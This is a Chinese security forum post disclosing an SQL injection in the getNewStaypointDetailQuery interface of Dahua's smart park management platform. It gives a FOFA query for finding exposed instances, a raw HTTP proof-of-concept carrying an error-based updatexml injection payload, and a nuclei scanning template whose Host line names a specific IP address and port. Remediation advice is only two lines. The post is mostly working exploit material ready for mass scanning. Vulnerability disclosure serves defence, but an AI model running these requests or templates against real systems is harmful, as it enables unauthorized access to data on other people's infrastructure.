大华智慧园区综合管理平台getNewStaypointDetailQuery存在SQL注入漏洞

我是大白   ·   发表于 2024-03-14 19:59:52   ·   漏洞文章

大华智慧园区综合管理平台getNewStaypointDetailQuery存在SQL注入漏洞

漏洞描述

大华智慧园区综合管理平台getNewStaypointDetailQuery接口处未对用户的输入进行过滤,直接将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。未授权攻击者可利用此漏洞获取敏感信息。

产品界面

fofa语法

app="dahua-智慧园区综合管理平台"

POC

  1. POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1
  2. Host:
  3. User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  4. Content-Type: text/xml;charset=UTF-8
  5. Content-Length: 491
  6. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com">
  7. <soapenv:Header/>
  8. <soapenv:Body>
  9. <car:getNewStaypointDetailQuery>
  10. <!--type: string-->
  11. <searchJson>{}</searchJson>
  12. <!--type: string-->
  13. <pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,md5(123456),0x7e),1)--"}</pageJson>
  14. <!--type: string-->
  15. <extend>quae divum incedo</extend>
  16. </car:getNewStaypointDetailQuery>
  17. </soapenv:Body>
  18. </soapenv:Envelope>

nuclei验证

  1. id: dahua-WPMS-getNewStaypointDetailQuery-sql
  2. info:
  3. name: 大华智慧园区综合管理平台getNewStaypointDetailQuery存在SQL注入漏洞
  4. author: nobody
  5. severity: high
  6. description: |
  7. 大华智慧园区综合管理平台getNewStaypointDetailQuery接口处未对用户的输入进行过滤,直接将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。未授权攻击者可利用此漏洞获取敏感信息。
  8. impact: |
  9. 未授权攻击者可利用此漏洞获取敏感信息。
  10. remediation: |
  11. 升级版本,打补丁
  12. metadata:
  13. verified: true
  14. max-request: 3
  15. fofa-query: app="dahua-智慧园区综合管理平台"
  16. tags: dahua,sql
  17. requests:
  18. - raw:
  19. - |
  20. POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1
  21. Host: 223.112.57.10:9080
  22. User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  23. Content-Type: text/xml;charset=UTF-8
  24. Content-Length: 491
  25. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com">
  26. <soapenv:Header/>
  27. <soapenv:Body>
  28. <car:getNewStaypointDetailQuery>
  29. <!--type: string-->
  30. <searchJson>{}</searchJson>
  31. <!--type: string-->
  32. <pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,md5(123456),0x7e),1)--"}</pageJson>
  33. <!--type: string-->
  34. <extend>quae divum incedo</extend>
  35. </car:getNewStaypointDetailQuery>
  36. </soapenv:Body>
  37. </soapenv:Envelope>
  38. matchers:
  39. - type: dsl
  40. dsl:
  41. - status_code == 500 && contains_all(body,"XPATH syntax error","~e10adc3949ba59abbe56e057f20f883")

修复建议

  • 建议升级到最新版本或打补丁
  • 输入做严格过滤

打赏我,让我更有动力~

0 条回复   |  直到 8个月前 | 448 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.